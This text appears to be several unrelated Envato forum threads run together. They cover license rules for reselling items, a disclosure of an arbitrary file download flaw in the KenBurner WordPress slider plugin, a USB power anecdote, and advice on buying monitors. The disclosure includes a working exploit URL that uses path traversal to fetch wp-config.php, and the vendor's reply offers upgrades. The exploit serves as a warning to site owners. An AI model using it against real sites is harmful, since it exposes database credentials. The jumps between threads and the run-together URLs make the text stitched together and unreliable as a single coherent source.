Hello ArmandCan someone from Envato please clear this for me once and for all. If someone buys an extended license on CodeCanyon can he sell his version on external marketplaces without notifying and permission of the original author.
Simple answer is no.
From our License FAQ:
Can I purchase an item to use as a small element within a larger project that I plan to sell as stock or a template? For example, could I purchase a button graphic for a theme I plan to sell?
Use of items in larger stock projects is not allowed under the default regular or extended licenses, but there are exceptions.
Exception 1: When you purchase an extended license and get written permission from the author. Keep a copy of the email giving you permission.
Example: A CodeCanyon author has a slider and gives permission by email to a ThemeForest author to use the slider, under the extended license, in a theme.Hope that helps
Except for GPL, I think you’be forgot to mention that
Today was horrible.
I’m not sure how accurate this information is right now, but as far as I remember.
You can use your products, for your own personal work, projects & clients
Name: WordPress KenBurner Slider Plugin (kbslider) Tipe: Arbitrary file download Versions : ALL
http://site/wp-admin/admin-ajax.php?action=kbslider_show_image&img=../wp-config.phphttp://pastebin.com/u/MF0x_ Credits go to: MF0x and Daniel Pentest
the Ken Burner WordPress version was removed from the marketplace over a year ago. The WP backend was developed by another author who is not in our team any longer, so we also removed it when he left our company.
If you still happen to use this old plugin, we can provide an upgrade for you on another product instead. In that case please contact us via our profile form: http://codecanyon.net/user/themepunch#contactBest Regards, ThemePunch
Thanks for mentioning this, but I’ve just encountered a website with Ken Burner, and people should be aware of this issue also, if they haven’t moved to Slider Revolution already.
Ok. It seems that people are too much busy with “No sales” threads and similar
Maybe nobody has experienced this before. Just in case, your operating system will “block” an USB port in case it eats more energy than it can give, I’ve had this problem with an old mouse around 2 years ago, it was “damaged” and was eating 2-3 times the energy it should have. It was working for an hour or so, but then. Bam, it just goes dead, and I had to reset the USB port, sometimes reinstall the whole mouse software.
I’m in the same situation and I’m getting an Apple Thunderbolt Display at the end of this month. I already purchased BookArc, to earn more desk space.
Been waiting for Apple to refresh the display, but from the looks of it they’ll probably come up with a 4K monitor or something, which I don’t really need (would have loved USB3 though).EasyDevelopment saidAwesome wallpaper on the MBP, mind sharing it?
Well, a thunderbolt rocks, and is worth $1500 ( price I payed ) . I’m planning to buy another one after my old desk arrives.
The wallpaper is a default one it’s somewhere there in the settings.
Okay, fact you should now, the BookArc ISN’T something you want, while using a loft of software, the macbook heats a LOT if it’s closed. Running “Normal” stuff, like PHP Storm, Codekit, Browser, iTunes, Email and Firefox
I even had to get an external cooler for the times I’m compressing Videos or playing World of Warcraft once in a while.
phpbits saidMy advice is to wait, trust me, it’s the best investment I made after my macbook.
Thanks everyone I love to have Apple Thunderbolt Display also but it’s a bit out of my budget right now. If you can suggest other monitors like samsung, dell, LG , etc… I’ll be very happy to check and compare those Cheers, phpbits
Edit : Fixed a few typos